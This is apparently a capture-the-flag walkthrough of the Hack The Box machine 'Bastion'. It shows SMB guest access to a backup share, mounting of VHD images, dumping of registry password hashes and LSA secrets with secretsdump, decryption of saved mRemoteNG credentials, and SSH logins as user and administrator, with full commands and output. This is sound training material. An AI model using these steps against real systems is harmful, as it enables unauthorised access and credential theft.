Let’s start off with our basic Nmap command to find out the open ports and services.
c:\PENTEST>nmap -Pn -sV -open 10.10.10.134
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-11 10:36 W. Europe Summer Time
Nmap scan report for 10.10.10.134
Host is up (0.015s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.90 seconds
SMB Enumeration
c:\PENTEST>net use \\bastion.htb\IPC$ The password or user name is invalid for \\bastion.htb\IPC$. Enter the username for 'bastion.htb': guest Enter the password for bastion.htb: The command completed successfully. c:\PENTEST>net view \\bastion.htb Shared resources at \\bastion.htb Share name Type Used as Comment ------------------------------------------------------------------------------- Backups Disk The command completed successfully.
Backups Share
c:\PENTEST>net use z: \\bastion.htb\Backups
The command completed successfully.
c:\PENTEST>z:
Z:\>dir
Volume in drive Z has no label.
Volume Serial Number is 0CB3-C487
Directory of Z:\
16/04/2019 12:02 <DIR> .
16/04/2019 12:02 <DIR> ..
16/04/2019 12:10 116 note.txt
22/02/2019 14:43 0 SDT65CB.tmp
22/02/2019 14:44 <DIR> WindowsImageBackup
2 File(s) 116 bytes
3 Dir(s) 11.305.340.928 bytes free
Z:\>type note.txt
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
A Windows Image Backup is likely to be large and the transfer will be slow (as the note warns). Rather than try to copy it over, I’m going to mount this share to my filesystem.
root@kali# mount -t cifs //10.10.10.134/backups /mnt -o user=,password=
root@kali# ls /mnt/
note.txt SDT65CB.tmp WindowsImageBackup
I’ll list all the files in the share:
root@kali# find /mnt/ -type f
/mnt/note.txt
/mnt/SDT65CB.tmp
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/BackupSpecs.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
/mnt/WindowsImageBackup/L4mpje-PC/Catalog/BackupGlobalCatalog
/mnt/WindowsImageBackup/L4mpje-PC/Catalog/GlobalCatalog
/mnt/WindowsImageBackup/L4mpje-PC/MediaId
/mnt/WindowsImageBackup/L4mpje-PC/SPPMetadataCache/{cd113385-65ff-4ea2-8ced-5630f6feca8f}
I see two disk image vhd files.
Mount vhd
I’m going to mount the virtual disk files and see what I can find in them. First, I’ll install guestmount with apt install libguestfs-tools, a tool for mounting virtual hard disk files on Linux.
Now, I’ll try to mount each of the two VHD files. The first one fails:
The second one works, providing access to what looks like a Windows file system root:
root@kali# guestmount --add /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt2/
root@kali# ls /mnt2/
'$Recycle.Bin' autoexec.bat config.sys 'Documents and Settings' pagefile.sys PerfLogs ProgramData 'Program Files' Recovery 'System Volume Information' Users Windows
Shell as l4mpje
Dump Hashes From Registry
With full access to the file system, I have access to the registry files. These files can be locked when the system is running, but I won’t have that issue on a mounted drive. In the config directory where the registry hives are stored, I’ll use secretsdump.py to dump the password hashes:
root@kali:/mnt2/Windows/System32/config# secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e4487d0421e6611a364a5028467e053c:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up...
I’ll also notice that secretsdump.py identified a default password (or autolongon password) of “bureaulampje” for an unknown user.
Crack Hash
Submitting the NTLM hashes to crackstation returns the same password for the l4mpje account:
SSH
Seeing ssh on a Windows box is a bit unusual, but this seems like a good chance to use.
c:\PENTEST>ssh l4mpje@10.10.10.134
l4mpje@10.10.10.134's password: bureaulampje
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
l4mpje@BASTION C:\Users\L4mpje>cd Desktop
l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt
9bf*****6cd
Privesc to administrator
Enumeration
In looking at the installed programs on the host, mRemoteNG jumps out as interesting:
PS C:\Program Files (x86)> dir
Directory: C:\Program Files (x86)
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 16-7-2016 15:23 Common Files
d----- 23-2-2019 09:38 Internet Explorer
d----- 16-7-2016 15:23 Microsoft.NET
da---- 22-2-2019 14:01 mRemoteNG
d----- 23-2-2019 10:22 Windows Defender
d----- 23-2-2019 09:38 Windows Mail
d----- 23-2-2019 10:22 Windows Media Player
d----- 16-7-2016 15:23 Windows Multimedia Platform
d----- 16-7-2016 15:23 Windows NT
d----- 23-2-2019 10:22 Windows Photo Viewer
d----- 16-7-2016 15:23 Windows Portable Devices
d----- 16-7-2016 15:23 WindowsPowerShell
mRemoteNG is a remote connection management tool, and it allows the user to save passwords for various types of connections. There is a file in the user’s AppData directory, confCons.xml, that holds that information:
l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>dir
Volume in drive C has no label.
Volume Serial Number is 0CB3-C487
Directory of C:\Users\L4mpje\AppData\Roaming\mRemoteNG
22-02-2019 15:03 <DIR> .
22-02-2019 15:03 <DIR> ..
22-02-2019 15:03 6.316 confCons.xml
22-02-2019 15:02 6.194 confCons.xml.20190222-1402277353.backup
22-02-2019 15:02 6.206 confCons.xml.20190222-1402339071.backup
22-02-2019 15:02 6.218 confCons.xml.20190222-1402379227.backup
22-02-2019 15:02 6.231 confCons.xml.20190222-1403070644.backup
22-02-2019 15:03 6.319 confCons.xml.20190222-1403100488.backup
22-02-2019 15:03 6.318 confCons.xml.20190222-1403220026.backup
22-02-2019 15:03 6.315 confCons.xml.20190222-1403261268.backup
22-02-2019 15:03 6.316 confCons.xml.20190222-1403272831.backup
22-02-2019 15:03 6.315 confCons.xml.20190222-1403433299.backup
22-02-2019 15:03 6.316 confCons.xml.20190222-1403486580.backup
22-02-2019 15:03 51 extApps.xml
22-02-2019 15:03 5.217 mRemoteNG.log
22-02-2019 15:03 2.245 pnlLayout.xml
22-02-2019 15:01 <DIR> Themes
14 File(s) 76.577 bytes
3 Dir(s) 11.383.193.600 bytes free
It’s xml, with encrypted versions of the passwords stored in the file:
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="9+/QC0ASX6vyu8eqAnoWf9rAqVvP8vuwonKagk7aY68lTF3pcqbgO0Lcj6E7xUwo6V47gl93CKdDTXKpYt0wOFk6" ConfVersion="2.6">
<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="V22XaC5eW4epRxRgXEM5RjuQe2UNrHaZSGMUenOvA1Cit/z3v1fUfZmGMglsiaICSus+bOwJQ/4AnYAt2AeE8g==" Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
<Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="OuhzIwEZtD30y9QFzUOGDDoHnaSWGQFHcD5YSnj/YoJ2sE41GLoykzMgEAZh940z8pKetHSQDonI5/z7" Hostname="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
</mrng:Connections>
I solved this box right when it was released, and the above file is what it was at that time. It seems that the file has been changed since then. It doens’t matter, the results are the same. But if you see different values from what I have, that is why. The resulting passwords will be the same.
Extract Passwords
Old Techniques
There’s a lot of articles like this and this that target an older version of the software that used a static key to decrypt the passwords. The Metasploit module abuses this as well. Starting in version 1.76, the use can now choose a master password, but there is still a default password or “mR3m”. But, the default AES block mode also changed, which leaves all the older tools still incapabile of decrpyting newer files.
Method 1: From Within mRemoteNG
I’ll open my Commando VM and install mRemoteNG. Then I’ll drop the confCons.xml file from target into C:\Users\0xdf\AppData\Roaming\mRemoteNG and re-open mRemoteNG. I’ll see two connections listed:
mRemoteNG doesn’t want to just tell me the passwords. However, I can use the fact that the program wants to allow me to connect it to external tools that it may not be pre-programed to work with by creating a new External Tool by going to Tools -> External Tools -> New External Tool.
In the Window that opens, I’ll add a display name, filename, and arguments as follows:
My external tool is just cmd, and I have it running an echo with the username and password.
Now I can right-click on a connection, go to External Tools, and Password is an option:
Clicking it pops a cmd window with the password at the top:
The password for L4mpje matches what I already know. The password for DC is new:
Now I have the administrtor password, “thXLHM96BeKL0ER2”.
Method 2: mremoteng-decrypt
I downloaded and ran here, and it worked:
root@kali:/opt/mremoteng-decrypt# java -jar decipher_mremoteng.jar OuhzIwEZtD30y9QFzUOGDDoHnaSWGQFHcD5YSnj/YoJ2sE41GLoykzMgEAZh940z8pKetHSQDonI5/z7
User Input: OuhzIwEZtD30y9QFzUOGDDoHnaSWGQFHcD5YSnj/YoJ2sE41GLoykzMgEAZh940z8pKetHSQDonI5/z7
Use default password for cracking...
Decrypted Output: bureaulampje
root@kali:/opt/mremoteng-decrypt# java -jar decipher_mremoteng.jar V22XaC5eW4epRxRgXEM5RjuQe2UNrHaZSGMUenOvA1Cit/z3v1fUfZmGMglsiaICSus+bOwJQ/4AnYAt2AeE8g==
User Input: V22XaC5eW4epRxRgXEM5RjuQe2UNrHaZSGMUenOvA1Cit/z3v1fUfZmGMglsiaICSus+bOwJQ/4AnYAt2AeE8g==
Use default password for cracking...
Decrypted Output: thXLHM96BeKL0ER2
SSH as administrator
With that password, I can ssh in as administrator:
c:\PENTEST>ssh administrator@10.10.10.134
administrator@10.10.10.134's password:thXLHM96BeKL0ER2 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. administrator@BASTION C:\Users\Administrator>cd desktop administrator@BASTION C:\Users\Administrator\Desktop>type root.txt 958*****5c8
Author : Puckiestyle